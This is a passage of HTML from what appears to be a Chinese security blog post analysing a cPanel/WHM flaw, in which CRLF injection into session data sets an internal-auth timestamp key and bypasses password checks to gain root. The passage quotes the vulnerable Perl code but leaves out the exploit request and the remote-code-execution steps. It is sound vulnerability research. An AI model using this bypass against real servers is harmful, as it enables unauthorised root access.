209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $has_cr</span></span><span leaf=""> = (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$cfg_txt</span></span><span leaf=""> =~</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""> /\r/</span></span><span leaf="">);</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $split_on</span></span><span leaf=""> =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $has_cr</span></span><span leaf=""> ?</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""> &#39;\r?\n&#39;</span></span><span leaf=""> :</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""> &#39;\n&#39;</span></span><span leaf="">;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""><br/></span><span leaf="">$conf_ref</span></span><span leaf=""> = {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    map</span></span><span leaf=""> { (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$k</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $v</span></span><span leaf="">) = (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">split</span></span><span leaf="">(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">m/=/</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $_</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> 2</span></span><span leaf="">))[</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">0</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> 1</span></span><span leaf="">];</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> defined</span></span><span leaf="">(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$v</span></span><span leaf="">) ? (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$k</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $v</span></span><span leaf="">) : () }</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    split</span></span><span leaf="">(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">/$split_on/</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $cfg_txt</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">};</span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">构造测试请求发现虽然返回 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">401</span></code><span leaf=""> ，但是 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CRLF</span></code><span leaf=""> 注入实际已经完成：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.20092592592592592" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009135" src="https://wechat2rss.xlab.app/img-proxy/?k=7a8c3306&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLnhDbpzSFQmWd7GBKkckP6B6ndRozUF03Irm91T4fpwQFKWduR5AbJMj9glaEPreLtZDFXRTKxiaCrR0hjlsABk4f2PZyEMhVOo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4638888888888889" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009136" src="https://wechat2rss.xlab.app/img-proxy/?k=f9fc9698&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLlWZ0iagz9fDs5hW372JnXWZ6LcE3ECj7QSHJX28QIpBb4RNjDrrlKKMia91ciaBcDZvRGpic00RvUzxNcyGWic7ZJRia6p2Ypl7Lmto%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-heading="true" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 4em auto 2em;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">认证绕过到 RCE</span></h2><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">上面的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CRLF</span></code><span leaf=""> 注入能用来干什么呢？</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">handle_auth</span></code><span leaf=""> 函数返回后，后续在调用 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">docheckpass_whostmgrd</span></code><span leaf=""> 时，会通过 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">check_authok_user</span></code><span leaf=""> 函数进行用户验证，当存在 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">session_ref</span></code><span leaf=""> 对象中存在 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">successful_internal_auth_with_timestamp</span></code><span leaf=""> 键值，并且获取的时间戳在合理范围之内，会直接返回 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AUTH_OK</span></code><span leaf=""> ，完全跳过后续的密码验证逻辑：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">sub</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> check_authok_user</span></span></span><span leaf="">{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">%OPTS</span></span><span leaf="">) =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> @_</span></span><span leaf="">;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $user</span></span><span leaf=""> =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $OPTS</span></span><span leaf="">{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;user&#39;</span></span><span leaf="">};</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $session_ref</span></span><span leaf=""> =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $server_obj</span></span><span leaf="">-&gt;get_session_ref;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    if</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$session_ref</span></span><span leaf="">-&gt;{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;successful_internal_auth_with_timestamp&#39;</span></span><span leaf="">}) {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""> # [1]</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">        my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $timestamp</span></span><span leaf=""> =</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $session_ref</span></span><span leaf="">-&gt;{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;successful_internal_auth_with_timestamp&#39;</span></span><span leaf="">};</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">        if</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">$timestamp</span></span><span leaf=""> &gt; (</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">time</span></span><span leaf="">() -</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $SESSION_TIMEOUT</span></span><span leaf="">)) {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">            return</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $AUTH_OK</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    my</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $check_result</span></span><span leaf=""> = Cpanel::CheckPass::UNIX::checkpassword(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""><br/></span><span leaf="">        $user</span></span><span leaf="">,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $OPTS</span></span><span leaf="">{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;pass&#39;</span></span><span leaf="">},</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $OPTS</span></span><span leaf="">{</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#39;encrypted_pass&#39;</span></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">    );</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    return</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $check_result</span></span><span leaf=""> ?</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $AUTH_OK</span></span><span leaf=""> :</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> $AUTH_FAILED</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">很容易构造注入 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">successful_internal_auth_with_timestamp</span></code><span leaf=""> 的请求绕过认证并获取 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ROOT</span></code><span leaf=""> 权限。</span></p><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">后续可结合一些 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">API</span></code><span leaf=""> 接口实现 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">RCE</span></code><span leaf=""> ，具体过程从略。</span></p><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: 